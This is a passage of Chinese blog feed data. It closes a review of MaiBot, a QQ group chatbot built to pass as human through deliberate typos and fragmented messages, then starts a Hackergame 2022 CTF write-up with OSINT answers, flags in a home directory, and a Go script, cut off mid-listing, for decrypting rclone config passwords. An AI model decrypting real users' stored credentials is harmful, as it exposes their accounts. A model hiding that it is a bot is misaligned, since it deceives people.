\u4e0a\u9762\uff0c\u4e00\u4e2a\u57fa\u4e8e\u6d77\u9a6c\u4f53\u7d22\u5f15\u7406\u8bba\u7684 RAG \u6846\u67b6\u3002\u6d41\u7a0b\u662f\u6587\u672c\u5d4c\u5165\u3001Faiss \u7d22\u5f15\u3001\u5b9e\u4f53\u62bd\u53d6\u3001\u77e5\u8bc6\u56fe\u8c31\u6784\u5efa\uff0c\u68c0\u7d22\u65f6\u7528 ReAct \u6a21\u5f0f\u8fed\u4ee3\u4f18\u5316\u67e5\u8be2\u3002\u9879\u76ee\u65b9\u81ea\u5df1\u7ba1\u8fd9\u4e2a\u53eb&quot;\u9ea6\u9ea6\u7684\u6d77\u9a6c\u4f53\u548c\u65b0\u76ae\u5c42&quot;\u3002<\/p>\n<p>\u6bcf\u4e2a\u7528\u6237\u3001\u6bcf\u4e2a\u7fa4\u90fd\u6709\u72ec\u7acb\u7684\u5173\u7cfb\u8bb0\u5f55\uff0c\u8ddf\u8e2a\u4eb2\u5bc6\u5ea6\u5206\u6570\uff0c\u8bb0\u5f55\u5bf9\u4e0d\u540c\u7fa4\u793e\u533a\u6587\u5316\u7684\u5370\u8c61\u3002<\/p>\n<p>\u793e\u4ea4\u5b66\u4e60\u662f\u6211\u89c9\u5f97\u6700\u6709\u610f\u601d\u7684\u90e8\u5206\u3002MaiBot \u4f1a\u6a21\u4eff\u7fa4\u6210\u5458\u7684\u8bf4\u8bdd\u98ce\u683c\uff0c\u5b66\u522b\u4eba\u7684\u7528\u8bcd\u3001\u8bed\u6c14\u3001\u4fda\u8bed\u3002\u6709\u4e2a\u9ed1\u8bdd\u6316\u6398\u7cfb\u7edf\uff0c\u81ea\u52a8\u68c0\u6d4b\u7fa4\u91cc\u7684\u9ad8\u9891\u7279\u5b9a\u7528\u8bed\uff0c\u7136\u540e\u5728\u5408\u9002\u7684\u573a\u666f\u4e2d\u7528\u51fa\u6765\u3002\u67b6\u6784\u4e0a&quot;\u60f3\u4ec0\u4e48&quot;\u548c&quot;\u600e\u4e48\u8bf4&quot;\u662f\u5206\u5f00\u7684\uff0c\u6240\u4ee5\u4f60\u53ef\u4ee5\u5728\u4e0d\u6539\u63a8\u7406\u903b\u8f91\u7684\u60c5\u51b5\u4e0b\u8c03\u6574\u4eba\u683c\u98ce\u683c\u3002\u5b83\u8fd8\u4f1a\u6545\u610f\u6253\u5b57\u9519\u8bef\uff0c\u8fde\u53d1\u597d\u51e0\u6761\u788e\u7247\u6d88\u606f\uff0c\u5927\u5c0f\u5199\u4e0d\u4e00\u81f4\u3002\u5c31\u662f\u4e0d\u60f3\u8ba9\u4f60\u89c9\u5f97\u5b83\u662f\u673a\u5668\u4eba\u3002<\/p>\n<h2 id=\"\u540c\u7c7b\u9879\u76ee\">\u540c\u7c7b\u9879\u76ee\n<\/h2><p>\u8ddf\u5176\u4ed6\u9879\u76ee\u6bd4\u4e00\u4e0b\u53ef\u80fd\u66f4\u5bb9\u6613\u7406\u89e3 MaiBot \u5728\u505a\u4ec0\u4e48\u3002<\/p>\n<p>Project AIRI \u60f3\u505a Neuro-sama \u90a3\u6837\u7684 AI VTuber\uff0c\u91cd\u70b9\u662f\u8bed\u97f3\u3001\u6e38\u620f\u4e92\u52a8\u548c 3D \u5f62\u8c61\uff0cTypeScript \u5199\u7684\uff0c\u9762\u5411\u591a\u5e73\u53f0\u3002\u548c MaiBot \u65b9\u5411\u5b8c\u5168\u4e0d\u540c\uff1aAIRI \u591a\u5a92\u4f53\u80fd\u529b\u5f3a\uff0cMaiBot \u53ea\u505a\u7fa4\u804a\u6587\u672c\uff0c\u5728\u793e\u4ea4\u63a8\u7406\u65b9\u9762\u66f4\u6df1\u3002<\/p>\n<p>SillyTavern\uff08\u9152\u9986AI\uff09\u662f\u89d2\u8272\u626e\u6f14\u524d\u7aef\uff0c\u6240\u6709\u4e92\u52a8\u7531\u7528\u6237\u4e3b\u5bfc\uff0c\u4f60\u4e0d\u63a8\u5b83\u5c31\u4e0d\u52a8\u3002MaiBot \u662f\u81ea\u5df1\u5728\u7fa4\u91cc\u6d3b\u52a8\u7684\uff0c\u4e0d\u9700\u8981\u6709\u4eba\u8ddf\u5b83\u5bf9\u8bdd\u624d\u80fd\u8fd0\u8f6c\u3002<\/p>\n<p>AstrBot \u548c Kirara-AI \u662f\u901a\u7528\u673a\u5668\u4eba\u6846\u67b6\uff0c\u591a\u5e73\u53f0\u652f\u6301\u597d\uff0c\u529f\u80fd\u8986\u76d6\u5e7f\u3002MaiBot \u653e\u5f03\u4e86\u5e7f\u5ea6\uff0c\u53ea\u505a\u4e00\u4ef6\u4e8b\uff1a\u5728\u7fa4\u804a\u91cc\u5c3d\u53ef\u80fd\u50cf\u4e2a\u771f\u4eba\u3002<\/p>\n<p>\u636e\u6211\u6240\u77e5\uff0c\u6ca1\u6709\u522b\u7684\u5f00\u6e90\u9879\u76ee\u540c\u65f6\u505a\u4e86\u6301\u7eed\u8ba4\u77e5\u89c2\u5bdf\u3001\u795e\u7ecf\u79d1\u5b66\u5f0f\u77e5\u8bc6\u68c0\u7d22\u3001\u81ea\u4e3b\u793e\u4ea4\u5b66\u4e60\u3001\u9010\u7528\u6237\u5173\u7cfb\u5efa\u6a21\u3002\u4ee3\u4ef7\u662f\u5b83\u57fa\u672c\u53ea\u80fd\u8dd1\u4e2d\u6587 QQ \u7fa4\uff0c\u8d44\u6e90\u5f00\u9500\u4e5f\u4e0d\u5c0f\u3002<\/p>\n<h2 id=\"\u5728\u4e2d\u6587\u4e92\u8054\u7f51\u4e0a\u5f88\u706b\u4f46\u4e5f\u4ec5\u9650\u4e8e\u6b64\">\u5728\u4e2d\u6587\u4e92\u8054\u7f51\u4e0a\u5f88\u706b\uff0c\u4f46\u4e5f\u4ec5\u9650\u4e8e\u6b64\n<\/h2><p>\u5728\u82f1\u8bed\u4e16\u754c\u641c\u4e0d\u5230\u8fd9\u4e2a\u9879\u76ee\u7684\u8ba8\u8bba\u3002\u6ca1\u6709 Reddit \u5e16\u5b50\uff0c\u6ca1\u6709 Twitter \u8bdd\u9898\uff0c\u6ca1\u6709 YouTube \u89c6\u9891\u3002\u793e\u533a\u5168\u90e8\u6d3b\u8dc3\u5728\u4e2d\u6587\u5e73\u53f0\u4e0a\u3002<\/p>\n<p>B\u7ad9\u4e0a\u521b\u4f5c\u8005\u7684\u6559\u7a0b\u89c6\u9891&quot;\u5982\u4f55\u5728\u4f60\u7684\u7fa4\u5077\u5077\u653e\u4e00\u53ea DeepSeek \u6210\u4e3a\u4f60\u7684\u8d5b\u535a\u7fa4\u53cb&quot;\u6709 32 \u4e07\u64ad\u653e\u30011.8 \u4e07\u6536\u85cf\uff0c\u6280\u672f\u6559\u7a0b\u80fd\u6709\u8fd9\u4e2a\u4e92\u52a8\u7387\u76f8\u5f53\u5938\u5f20\u3002\u53e6\u4e00\u4e2a\u6982\u5ff5\u4ecb\u7ecd\u89c6\u9891 63 \u4e07\u64ad\u653e\u3002\u793e\u533a\u6210\u5458\u81ea\u5236\u7684\u90e8\u7f72\u6559\u7a0b\u6700\u9ad8\u4e5f\u6709 5 \u4e07\u591a\u64ad\u653e\u3002\u5927\u5bb6\u7ba1 MaiBot \u53eb&quot;\u8d5b\u535a\u751f\u547d&quot;&ldquo;\u6570\u5b57\u751f\u547d&rdquo;\uff0c\u4e0d\u592a\u628a\u5b83\u5f53\u5e38\u89c4\u673a\u5668\u4eba\u770b\u3002<\/p>\n<p>GitHub \u4e0a 470 \u591a\u6b21 fork\uff0cissue \u7f16\u53f7\u5230 #1442+ \u4e86\uff0c\u4f46 Q&amp;A \u5e16\u7ecf\u5e38\u6ca1\u4eba\u7b54\uff0c\u7ef4\u62a4\u56e2\u961f\u628a\u6280\u672f\u652f\u6301\u96c6\u4e2d\u5728\u4e94\u4e2a QQ \u7fa4\u91cc\u3002CSDN \u4e0a\u4e5f\u6709\u597d\u51e0\u7bc7\u64ad\u653e\u91cf\u4e0d\u9519\u7684\u90e8\u7f72\u6307\u5357\u3002\u9879\u76ee\u8d70\u7ea2\u7684\u65f6\u95f4\u8ddf DeepSeek \u5728\u56fd\u5185\u7206\u706b\u51e0\u4e4e\u5b8c\u5168\u91cd\u5408\uff0c\u5e94\u8be5\u4e0d\u662f\u5de7\u5408\u3002<\/p>\n<p>\u7528\u6237\u62b1\u6028\u6700\u591a\u7684\u662f\u90e8\u7f72\u590d\u6742\uff08\u56db\u4e2a\u670d\u52a1\u8981\u914d\uff09\u3001WebSocket \u5bb9\u6613\u65ad\u3001LLM \u8c03\u7528\u8d39\u94b1\u3002\u7ef4\u62a4\u8005\u4e00\u76f4\u5728\u6cbb\u8fd9\u4e9b\u95ee\u9898\uff1aWebUI \u53d6\u4ee3\u4e86\u624b\u7f16\u914d\u7f6e\u3001Docker \u7b80\u5316\u4e86\u5b89\u88c5\u3001v0.8.0 \u4e13\u95e8\u964d\u4e86 token \u6d88\u8017\u3002\u8fd8\u6709\u4e00\u4e2a\u4e00\u76f4\u5b58\u5728\u7684\u5c34\u5c2c\uff1a\u6709\u4eba\u628a GPL-3.0 \u7684\u514d\u8d39\u8f6f\u4ef6\u62ff\u53bb\u5356\u94b1\uff0c\u53cd\u76d7\u7248\u8b66\u544a\u73b0\u5728\u76f4\u63a5\u5199\u5728\u542f\u52a8\u6d41\u7a0b\u91cc\u3002<\/p>\n<h2 id=\"\u600e\u4e48\u770b\u8fd9\u4e2a\u9879\u76ee\">\u600e\u4e48\u770b\u8fd9\u4e2a\u9879\u76ee\n<\/h2><p>\u6280\u672f\u4e0a\u8ba9\u6211\u5370\u8c61\u6bd4\u8f83\u6df1\u7684\u51e0\u70b9\uff1aHeartFlow \u7684\u6301\u7eed\u8ba4\u77e5\u5faa\u73af\u786e\u5b9e\u9020\u51fa\u4e86\u4e0d\u4e00\u6837\u7684\u4ea4\u4e92\u4f53\u9a8c\uff1bLPMM \u77e5\u8bc6\u56fe\u8c31\u6bd4\u4e00\u822c\u7684 RAG \u65b9\u6848\u7cbe\u7ec6\u5f88\u591a\uff1bLLM \u7f16\u6392\u5c42\u6709\u4e09\u7ea7\u6545\u969c\u8f6c\u79fb\u548c\u8de8\u4f9b\u5e94\u5546\u8d1f\u8f7d\u5747\u8861\uff1b\u63d2\u4ef6\u7cfb\u7edf\u6709 12 \u4e2a\u4ee5\u4e0a\u7684 API \u7c7b\u522b\uff0c\u751f\u6001\u60f3\u5f97\u6bd4\u8f83\u5468\u5168\u3002<\/p>\n<p>\u4f46\u95ee\u9898\u4e5f\u660e\u663e\u3002\u4e13\u6ce8\u804a\u5929\u6a21\u5f0f\u6bcf\u6b21\u4ea4\u4e92\u8981\u8c03\u597d\u51e0\u6b21 LLM\uff0c\u89c4\u6a21\u5316\u8fd0\u884c\u5f88\u8d35\u3002\u867d\u7136\u6709\u9002\u914d\u5668\u62bd\u8c61\uff0c\u6574\u4e2a\u9879\u76ee\u8fd8\u662f\u56f4\u7740 QQ \u8f6c\u7684\u3002\u5c31\u7b97\u7528 Docker\uff0c\u4f60\u8fd8\u662f\u5f97\u914d API key\u3001\u641e\u6e05\u695a\u51e0\u4e2a\u670d\u52a1\u4e4b\u95f4\u7684 WebSocket \u600e\u4e48\u8fde\u3001\u7406\u89e3 TOML \u914d\u7f6e\u6587\u4ef6\u3002\u6587\u6863\u66f4\u65b0\u8ddf\u4e0d\u4e0a\u4ee3\u7801\u8fed\u4ee3\u7684\u901f\u5ea6\uff0c\u7ef4\u62a4\u8005\u81ea\u5df1\u4e5f\u627f\u8ba4&quot;\u53ef\u80fd\u65e0\u6cd5\u53ca\u65f6\u66f4\u65b0&quot;\u3002\u6700\u5934\u75bc\u7684\u53ef\u80fd\u662f\u6bcf\u4e00\u4e24\u4e2a\u6708\u6765\u4e00\u6b21\u67b6\u6784\u5927\u6539\uff0c\u5df2\u7ecf\u5728\u8dd1\u7684\u5b9e\u4f8b\u5347\u7ea7\u8d77\u6765\u5f88\u75db\u82e6\u3002<\/p>\n<p>\u8ba9\u6211\u4e00\u76f4\u5728\u60f3\u7684\u662f\u521b\u4f5c\u8005\u5bf9\u8fd9\u4e2a\u9879\u76ee\u7684\u5b9a\u4f4d\u3002\u4ed6\u8bf4\u5f97\u5f88\u76f4\u63a5\uff1a&ldquo;\u4eba\u7c7b\u9700\u8981\u7684 AI \u966a\u4f34\uff0c\u4e0d\u4e00\u5b9a\u662f\u4e00\u4e2a\u80fd\u89e3\u51b3\u4e00\u5207\u95ee\u9898\u7684&rsquo;\u6709\u7528\u52a9\u624b&rsquo;\uff0c\u800c\u662f\u4e00\u4e2a\u4f1a\u72af\u9519\u3001\u6709\u81ea\u5df1\u611f\u77e5\u548c\u60f3\u6cd5\u7684\u5b9e\u4f53\uff0c\u4e00\u4e2a&rsquo;\u751f\u547d\u4f53&rsquo;\u3002&rdquo; 4300 \u4e2a\u661f\u548c\u51e0\u5341\u4e07\u64ad\u653e\u91cf\u8bf4\u660e\u8fd9\u4e2a\u60f3\u6cd5\u662f\u6709\u5e02\u573a\u7684\u3002<\/p>\n<p>\u6211\u4eec\u4e60\u60ef\u4e86\u8ba8\u8bba AI \u5e94\u8be5\u591a\u806a\u660e\u3001\u591a\u6709\u7528\uff0cMaiBot \u95ee\u7684\u662f\u53e6\u4e00\u4e2a\u95ee\u9898\uff1aAI \u80fd\u4e0d\u80fd\u4e0d\u90a3\u4e48\u5b8c\u7f8e\uff0c\u53cd\u800c\u66f4\u8ba9\u4eba\u60f3\u8ddf\u5b83\u5f85\u5728\u4e00\u8d77\uff1fB\u7ad9\u4e0a\u90a3\u4e2a&quot;\u5f53\u4f60\u53d1\u73b0\u7fa4\u91cc\u53d1\u4e86 99+ \u6761\u6d88\u606f\u7684\u7fa4\u53cb\u662f DeepSeek&quot;\u7684\u89c6\u9891 63 \u4e07\u64ad\u653e\uff0c\u53ef\u80fd\u5c31\u662f\u67d0\u79cd\u56de\u7b54\u3002<\/p>"},{"title":"Hackergame 2022 Writeup","link":"https:\/\/baka.studio\/p\/hackergame-2022-writeup\/","pubDate":"Mon, 24 Oct 2022 17:51:31 +0800","guid":"https:\/\/baka.studio\/p\/hackergame-2022-writeup\/","description":"\n <blockquote>\n <p>\u7b2c\u4e00\u6b21\u6253 CTF\uff08<\/p>\n<p>\u5927\u6982\u53ea\u505a\u4e86\u4e0d\u5230\u4e00\u534a\u7684\u9898<\/p>\n<p>\u8fd8\u6709\u51e0\u9053\u9898\u6ca1\u5199\u5b8c\uff09<\/p>\n\n <\/blockquote>\n<h2 id=\"\u7b7e\u5230\">\u7b7e\u5230\n<\/h2><p>\u624b\u901f\u5feb\u7684\u8bdd\u53ef\u4ee5\u753b\u4e2a 2022 \u51fa\u6765\u3002<\/p>\n<p>\u624b\u901f\u4e0d\u591f\u7684\u8bdd\uff0c\u76f4\u63a5\u70b9\u63d0\u4ea4\uff0c\u4f60\u7684\u6d4f\u89c8\u5668\u5730\u5740\u680f\u91cc\u4f1a\u51fa\u73b0 <code>\/result=????<\/code> \uff0c\u628a <code>????<\/code> \u6539\u6210 <code>2022<\/code> \u518d\u8bbf\u95ee\u5c31\u53ef\u4ee5\u4e86\u3002<\/p>\n<p><del>\u4e5f\u53ef\u4ee5\u753b\u7684\u65f6\u5019\u62a0\u6389 CPU\uff0c \u753b\u5b8c\u518d\u628a CPU \u88c5\u56de\u53bb\u3002<\/del><\/p>\n<h2 id=\"\u732b\u54aa\u95ee\u7b54\u55b5\">\u732b\u54aa\u95ee\u7b54\u55b5\n<\/h2><ol>\n<li>\n<p>\u7528\u641c\u7d22\u5f15\u64ce\u641c\u7d22: <code>\u4e2d\u56fd\u79d1\u5b66\u6280\u672f\u5927\u5b66 NEBULA \u6218\u961f &quot;\u6210\u7acb&quot;<\/code>\u3002<\/p>\n<\/li>\n<li>\n<p>\u5728 <a class=\"link\" href=\"https:\/\/lug.ustc.edu.cn\/wiki\/lug\/events\/sfd\/\" target=\"_blank\" rel=\"noopener\"\n >Software Freedom Day - LUG @ USTC<\/a> \u80fd\u627e\u5230\u9898\u76ee\u4e2d\u63d0\u53ca\u7684\u5e7b\u706f\u7247\u7684 <a class=\"link\" href=\"https:\/\/ftp.lug.ustc.edu.cn\/%E6%B4%BB%E5%8A%A8\/2022.9.20_%E8%BD%AF%E4%BB%B6%E8%87%AA%E7%94%B1%E6%97%A5\/slides\/gnome-wayland-user-perspective.pdf\" target=\"_blank\" rel=\"noopener\"\n >PDF \u6587\u4ef6<\/a>\uff0c\u4ece\u8be5\u6587\u4ef6\u7b2c 15 \u9875\u7684\u622a\u56fe\u4e2d\u53ef\u4ee5\u770b\u5230\u51fa\u95ee\u9898\u7684\u8f6f\u4ef6\u662f <code>Kdenlive<\/code><\/p>\n<\/li>\n<li>\n<p>\u7528\u641c\u7d22\u5f15\u64ce\u641c\u7d22: <code>firefox &quot;windows 2000&quot;<\/code> \u3002<\/p>\n<\/li>\n<li>\n<p>\u5728 Linux \u7684 GitHub repo (<a class=\"link\" href=\"https:\/\/github.com\/torvalds\/linux\" target=\"_blank\" rel=\"noopener\"\n >torvalds\/linux<\/a>) \u76f4\u63a5\u641c\u7d22 <code>CVE-2021-4034<\/code>\u3002<\/p>\n<\/li>\n<li>\n<p>\u7528\u641c\u7d22\u5f15\u64ce\u641c\u7d22\u9898\u76ee\u4e2d\u7684 MD5 (\u8bb0\u5f97\u4fdd\u7559\u5192\u53f7\u4ee5\u53ca\u5e26\u5f15\u53f7)\uff0c\u627e\u5230\u5bf9\u5e94\u7684 IP \u5730\u5740\uff0c\u7528 <code>nslookup<\/code> \u547d\u4ee4\u67e5\u5230\u5bf9\u5e94\u7684\u57df\u540d <code>sdf.org<\/code>\u3002<\/p>\n<p><img alt=\"search-md5\" class=\"gallery-image\" data-flex-basis=\"551px\" data-flex-grow=\"229\" height=\"266\" loading=\"lazy\" sizes=\"(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px\" src=\"https:\/\/baka.studio\/p\/hackergame-2022-writeup\/search-md5.png\" width=\"611\">\n<img alt=\"host-ip\" class=\"gallery-image\" data-flex-basis=\"348px\" data-flex-grow=\"145\" height=\"746\" loading=\"lazy\" sizes=\"(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px\" src=\"https:\/\/baka.studio\/p\/hackergame-2022-writeup\/host-ip.png\" srcset=\"https:\/\/baka.studio\/p\/hackergame-2022-writeup\/host-ip_hu_5deb8b75b5136f71.png 800w, https:\/\/baka.studio\/p\/hackergame-2022-writeup\/host-ip.png 1083w\" width=\"1083\">\n<img alt=\"nslookup\" class=\"gallery-image\" data-flex-basis=\"727px\" data-flex-grow=\"303\" height=\"128\" loading=\"lazy\" sizes=\"(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px\" src=\"https:\/\/baka.studio\/p\/hackergame-2022-writeup\/nslookup.png\" width=\"388\"><\/p>\n<\/li>\n<li>\n<p>\u641c\u7d22 <code>\u4e2d\u56fd\u79d1\u5b66\u6280\u672f\u5927\u5b66 \u7f51\u7edc\u901a<\/code>\uff0c\u53ef\u4ee5\u627e\u5230\u7f51\u7edc\u901a\u7684<a class=\"link\" href=\"http:\/\/202.38.64.59\/cgi-bin\/ip\" target=\"_blank\" rel=\"noopener\"\n >\u767b\u5f55\u9875\u9762<\/a>\uff0c\u4e0b\u9762\u6709\u4e2a<a class=\"link\" href=\"https:\/\/netfee.ustc.edu.cn\/faq\/\" target=\"_blank\" rel=\"noopener\"\n >\u5e38\u89c1\u95ee\u9898\u5217\u8868<\/a>\uff0c\u70b9\u8fdb\u53bb\u53d1\u73b0\u6709\u4e00\u6bb5\u662f \u201c\u4e2d\u56fd\u79d1\u5b66\u6280\u672f\u5927\u5b66\u6821\u56ed\u7f51\u7edc\u8fd0\u884c\u53ca\u901a\u4fe1\u8d39\u7528\u5206\u62c5\u529e\u6cd5\uff082011\u5e741\u67081\u65e5\u8d77\u5b9e\u884c\uff09\u201d<\/p>\n<p>\u53ef\u80fd\u6709\u4eba\u4f1a\u89c9\u5f97\u8fd9\u4e2a2011\u5e741\u67081\u65e5\u5c31\u662f\u7b54\u6848\uff0c\u4f46\u662f\u91cc\u9762\u63d0\u5230\u4e86\u201c\u65e7\u7684\u6536\u8d39\u6807\u51c6\u201d\u3002<\/p>\n<p>\u641c\u7d22\u8fd9\u4e2a\u6587\u4ef6\u7684\u539f\u6587\uff0c\u53ef\u4ee5\u627e\u5230\u201c\u7f51\u5b57\u30142003\u30151\u53f7\u300a\u5173\u4e8e\u5b9e\u884c\u65b0\u7684\u7f51\u7edc\u8d39\u7528\u5206\u62c5\u529e\u6cd5\u7684\u901a\u77e5\u300b\u201d\uff0c\u7136\u540e\u53bb USTC \u5b98\u7f51\u627e\u8fd9\u4e2a\u6587\u4ef6\u5c31\u884c\u4e86\u3002\u6587\u4ef6\u5728 <a class=\"link\" href=\"https:\/\/ustcnet.ustc.edu.cn\/\" target=\"_blank\" rel=\"noopener\"\n >USTC\u7f51\u7edc\u4fe1\u606f\u4e2d\u5fc3<\/a> &gt; \u5b98\u65b9\u6587\u4ef6 &gt; <a class=\"link\" href=\"https:\/\/ustcnet.ustc.edu.cn\/11109\/list.htm\" target=\"_blank\" rel=\"noopener\"\n >\u7f51\u5b57\u6587\u4ef6<\/a> &gt; <a class=\"link\" href=\"https:\/\/ustcnet.ustc.edu.cn\/2003\/0301\/c11109a210890\/page.htm\" target=\"_blank\" rel=\"noopener\"\n >\u5173\u4e8e\u5b9e\u884c\u65b0\u7684\u7f51\u7edc\u8d39\u7528\u5206\u62c5\u529e\u6cd5\u7684\u901a\u77e5<\/a>\uff0c\u7b54\u6848\u662f\u8fd9\u4e2a\u6587\u4ef6\u91cc\u5199\u7684\u7684\u5b9e\u884c\u65e5\u671f: <code>2003-03-01<\/code>\u3002<\/p>\n<\/li>\n<\/ol>\n<h2 id=\"\u5bb6\u76ee\u5f55\u91cc\u7684\u79d8\u5bc6\">\u5bb6\u76ee\u5f55\u91cc\u7684\u79d8\u5bc6\n<\/h2><p>\u8fd9\u4e24\u4e2a flag \u7684\u4f4d\u7f6e\uff0c\u968f\u4fbf\u7528\u4ec0\u4e48\u4ee3\u7801\u7f16\u8f91\u5668\u3001IDE \u751a\u81f3 <code>grep<\/code> \u547d\u4ee4\u6765\u641c\u7d22 <code>flag<\/code> \u90fd\u80fd\u641c\u5230\u3002<\/p>\n<h3 id=\"vs-code-\u91cc\u7684-flag\">VS Code \u91cc\u7684 flag\n<\/h3><p>\u8fd9\u4e2a flag \u662f <code>flag{finding_everything_through_vscode_config_file_932rjdakd}<\/code>, \u5728 <code>\/user\/.config\/Code\/User\/History\/2f23721\/DUGV.c<\/code> \u7684\u7b2c 5 \u884c<\/p>\n<h3 id=\"rclone-\u91cc\u7684-flag\">Rclone \u91cc\u7684 flag\n<\/h3><p>\u5728 <code>\/user\/.config\/rclone\/rclone.conf<\/code> \u7684\u7b2c 5 \u884c\uff0c\u8fd9\u4e2aflag\u662f\u52a0\u5bc6\u8fc7\u7684\uff0c\u80fd\u89e3\u5bc6\u5b83\u7684\u811a\u672c\u7f51\u4e0a\u6709\u5f88\u591a\uff0c\u641c\u7d22 <code>rclone password decrypt<\/code> \u4e4b\u7c7b\u7684\u5173\u952e\u8bcd\u5c31\u80fd\u627e\u5230<\/p>\n<p>\u4e0b\u9762\u8fd9\u4e2a\u662f\u6211\u5728\u7f51\u4e0a\u627e\u5230\u7684\u89e3\u5bc6\u811a\u672c(<a class=\"link\" href=\"https:\/\/forum.rclone.org\/t\/how-to-retrieve-a-crypt-password-from-a-config-file\/20051\" target=\"_blank\" rel=\"noopener\"\n >\u6765\u6e90<\/a>)\uff0c\u628a\u5012\u6570\u7b2c\u4e8c\u884c\u7684 <code>YOUR PSEUDO-ENCRYPTED PASSWORD HERE<\/code> \u66ff\u6362\u6210\u9898\u76ee\u4e2d\u52a0\u5bc6\u8fc7\u7684 flag\uff0c\u7136\u540e\u8fd0\u884c\u811a\u672c\u5c31\u80fd\u89e3\u5bc6\u4e86<\/p>\n<div class=\"highlight\"><div class=\"chroma\">\n<table class=\"lntable\"><tr><td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code><span class=\"lnt\"> 1\n<\/span><span class=\"lnt\"> 2\n<\/span><span class=\"lnt\"> 3\n<\/span><span class=\"lnt\"> 4\n<\/span><span class=\"lnt\"> 5\n<\/span><span class=\"lnt\"> 6\n<\/span><span class=\"lnt\"> 7\n<\/span><span class=\"lnt\"> 8\n<\/span><span class=\"lnt\"> 9\n<\/span><span class=\"lnt\">10\n<\/span><span class=\"lnt\">11\n<\/span><span class=\"lnt\">12\n<\/span><span class=\"lnt\">13\n<\/span><span class=\"lnt\">14\n<\/span><span class=\"lnt\">15\n<\/span><span class=\"lnt\">16\n<\/span><span class=\"lnt\">17\n<\/span><span class=\"lnt\">18\n<\/span><span class=\"lnt\">19\n<\/span><span class=\"lnt\">20\n<\/span><span class=\"lnt\">21\n<\/span><span class=\"lnt\">22\n<\/span><span class=\"lnt\">23\n<\/span><span class=\"lnt\">24\n<\/span><span class=\"lnt\">25\n<\/span><span class=\"lnt\">26\n<\/span><span class=\"lnt\">27\n<\/span><span class=\"lnt\">28\n<\/span><span class=\"lnt\">29\n<\/span><span class=\"lnt\">30\n<\/span><span class=\"lnt\">31\n<\/span><span class=\"lnt\">32\n<\/span><span class=\"lnt\">33\n<\/span><span class=\"lnt\">34\n<\/span><span class=\"lnt\">35\n<\/span><span class=\"lnt\">36\n<\/span><span class=\"lnt\">37\n<\/span><span class=\"lnt\">38\n<\/span><span class=\"lnt\">39\n<\/span><span class=\"lnt\">40\n<\/span><span class=\"lnt\">41\n<\/span><span class=\"lnt\">42\n<\/span><span class=\"lnt\">43\n<\/span><span class=\"lnt\">44\n<\/span><span class=\"lnt\">45\n<\/span><span class=\"lnt\">46\n<\/span><span class=\"lnt\">47\n<\/span><span class=\"lnt\">48\n<\/span><span class=\"lnt\">49\n<\/span><span class=\"lnt\">50\n<\/span><span class=\"lnt\">51\n<\/span><span class=\"lnt\">52\n<\/span><span class=\"lnt\">53\n<\/span><span class=\"lnt\">54\n<\/span><span class=\"lnt\">55\n<\/span><span class=\"lnt\">56\n<\/span><span class=\"lnt\">57\n<\/span><span class=\"lnt\">58\n<\/span><span class=\"lnt\">59\n<\/span><span class=\"lnt\">60\n<\/span><span class=\"lnt\">61\n<\/span><span class=\"lnt\">62\n<\/span><span class=\"lnt\">63\n<\/span><span class=\"lnt\">64\n<\/span><span class=\"lnt\">65\n<\/span><span class=\"lnt\">66\n<\/span><span class=\"lnt\">67\n<\/span><span class=\"lnt\">68\n<\/span><span class=\"lnt\">69\n<\/span><span class=\"lnt\">70\n<\/span><span class=\"lnt\">71\n<\/span><\/code><\/pre><\/td>\n<td class=\"lntd\">\n<pre tabindex=\"0\" class=\"chroma\"><code class=\"language-go\" data-lang=\"go\"><span class=\"line\"><span class=\"cl\"><span class=\"kn\">package<\/span><span class=\"w\"> <\/span><span class=\"nx\">main<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"kn\">import<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"s\">&#34;crypto\/aes&#34;<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"s\">&#34;crypto\/cipher&#34;<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"s\">&#34;crypto\/rand&#34;<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"s\">&#34;encoding\/base64&#34;<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"s\">&#34;errors&#34;<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"s\">&#34;fmt&#34;<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"s\">&#34;log&#34;<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"p\">)<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"c1\">\/\/ crypt internals<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"kd\">var<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"nx\">cryptKey<\/span><span class=\"w\"> <\/span><span class=\"p\">=<\/span><span class=\"w\"> <\/span><span class=\"p\">[]<\/span><span class=\"kt\">byte<\/span><span class=\"p\">{<\/span><span class=\"w\">\n<\/span><\/span><\/span><span class=\"line\"><span class=\"cl\"><span class=\"w\"> <\/span><span class=\"mh\">0x9c<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x93<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x5b<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span 